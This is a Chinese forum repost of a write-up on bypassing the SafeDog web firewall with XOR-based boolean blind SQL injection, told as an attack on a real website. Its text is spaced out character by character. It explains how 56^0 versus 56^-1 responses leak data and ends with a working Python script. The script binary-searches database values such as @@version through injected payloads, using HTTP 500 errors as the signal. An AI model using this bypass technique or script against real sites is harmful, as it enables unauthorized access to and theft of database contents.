搜索

[7611] 2021-05-29_实战BYPASS安全狗-我也很“异或”

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-17
2021-05-29_实战BYPASS安全狗-我也很“异或” 实 战   |   B Y P A S S 安 全 狗 - 我 也 很 “ 异 或 ” 原 创   s p a c e m a n   F 1 2 s e c   2 0 2 1 - 0 5 - 2 9 前 言 B Y P A S S 安 全 狗 安 全 狗 - 我 也 很 我 也 很 “ 异 或 异 或 ” 我 这 个 菜 鸡 当 然 只 会 垃 圾 的 s q l 注 入 ， g e t s h e l l 是 不 可 能 的 这 辈 子 都 是 不 可 能 的 ， 不 多 废 话 ， 上 菜 。 实 战 开 始 一 如 既 往 的 输 入 框 输 入 单 引 号 ， 昂 ？ 报 错
机 会 来 了 ， 马 上 闭 合 注 释 ， 运 气 不 错 ， 没 过 滤 这 些
正 当 我 想 继 续 深 入 下 一 阶 段 的 时 候 ， 那 令 人 厌 恶 的 s a f e d o g 出 现 了
一 顿 操 作 ， a n d   o r   | |   & &   都 给 我 b a n 的 死 死 的 ， 正 当 我 以 为 无 计 可 施 的 时 候 ， a t a o 师 傅 提 醒 了 我 ， 试 试 异 或 注 入
那 么 就 先 讲 讲 异 或 注 入 吧 ， 简 单 的 演 示 简 单 的 用 例 异 或 1
异 或 0 也 就 是 说 异 或 0 就 会 还 是 本 身 异 或 - 1 则 不 存 在 因 为 是 b o o l 盲 注 ， 那 么 我 们 就 可 以 这 么 操 作 ， 这 里 举 个 例 子
可 以 看 到 异 或 1 不 存 在 ， 所 以 可 以 这 么 构 造 0 再 拓 展 这 里 如 果 需 要 构 造 出 0 ， 那 就 只 能 减 s 的 a s c i i 码 值 ， s 的 a s c i i 码 值 为 1 1 5 异 或 注 入 分 析 大 概 就 是 这 样 ， 然 后 去 测 试 ， 就 让 我 也 疑 惑 了 ， 这 异 或 就 很 疑 惑
当 我 测 试 i d 为 5 6 的 时 候 服 务 器 5 0 0 错 误 也 就 是 说 i d 为 5 6 的 数 据 不 存 在 ， 但 是 当 输 入   5 6 ^ 0   的 时 候 竟 然 又 存 在 ！ ！ ！ 例 如 测 试 数 据 库 的 第 一 个 字 符
例 如 这 里   当 减 1 0 0 时 ， 5 6 ^ - 1 等 于 一 个 不 存 在 的 内 容 ， 所 以 就 回 显 5 0 0 ， 因 为 异 或 - 1 肯 定 不 存 在 ， 也 就 判 断 出 了 数 据 库 名 称 的 第 一 个 字 母 是 c 也 就 是 a s c i i 码 的 9 9 我 敢 确 定 第 一 个 数 据 库 第 一 个 字 符 是 c 因 为 最 后 我 得 出 的 数 据 库 名 就 是 站 点 的 名 称 ， 所 以 这 样 用 是 不 会 错 的 ， 但 是 疑 惑 的 是 i d 为 5 6 的 数 据 明 明 就 不 存 在 ， 为 何 异 或 0 就 存 在 了 呢 ， 这 不 就 推 翻 了 之 前 的 测 试 ？ 难 道 m s s q l 和 m y s q l 的 异 或 不 一 样 ？ 我 有 了 那 么 多 疑 惑 ， 但 是 又 是 黑 盒 测 试 ， 咱 也 不 知 道 人 家 的 s q l 语 句 怎 么 写 的 ， 但 是 又 注 入 的 没 错 ， 没 办 法 了 ， 也 可 能 是 我 太 菜 了 ， 还 需 要 多 学 习 学 习 ， 如 果 弟 弟 有 哪 里 说 错 的 地 方 ， 还 望 大 师 傅 们 指 导 指 导 ， 最 后 也 编 写 了 脚 本 进 行 注 入 #   - * -   c o d i n g : u t f - 8   - * - i m p o r t   r e q u e s t s i m p o r t   t i m e u r l   =   " h t t p : / / i p ? i d = " d e f   m a i n ( ) :         r e s u l t   =   " "         f o r   i   i n   r a n g e ( 1 ,   2 0 0 ) :
结 果 如 下                 l o w   =   3 1                 h i g h   =   1 2 8                 w h i l e   l o w   & l t ;   h i g h :                         m i d   =   i n t ( ( l o w   +   h i g h )   /   2 )                         c o n t e n t   =   " @ @ v e r s i o n "                         s q l   =   f " 5 6 ' ^ ( a s c i i ( s u b s t r i n g ( ( { c o n t e n t } ) , { i } , 1 ) ) - { m i d } ) - - + "                         r e s p o n s e   =   r e q u e s t s . g e t ( u r l = u r l + s q l )                         t i m e . s l e e p ( 3 )                         i f   r e s p o n s e . s t a t u s _ c o d e   = =   5 0 0 :                                 h i g h   =   m i d                         e l s e :                                 l o w   =   m i d   +   1                         p r i n t ( " [ + ]   A f t e r   c h a n g i n g   w e   g o t   { }   t o   { } " . f o r m a t ( l o w ,   h i g h ) )                 i f   l o w   = =   h i g h   = =   1 2 8   o r   l o w   = =   h i g h   = =   3 1 :                         p r i n t ( " [ * ]   R e s u l t   i s :   { } " . f o r m a t ( r e s u l t ) )                         b r e a k                 p r i n t ( " [ + ]   N o w   h a s   { } " . f o r m a t ( i ) )                 r e s u l t   + =   c h r ( i n t ( ( h i g h   +   l o w   -   1 )   /   2 ) )                 p r i n t ( " [ * ]   R e s u l t   n o w   i s :   { } " . f o r m a t ( r e s u l t ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         m a i n ( )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理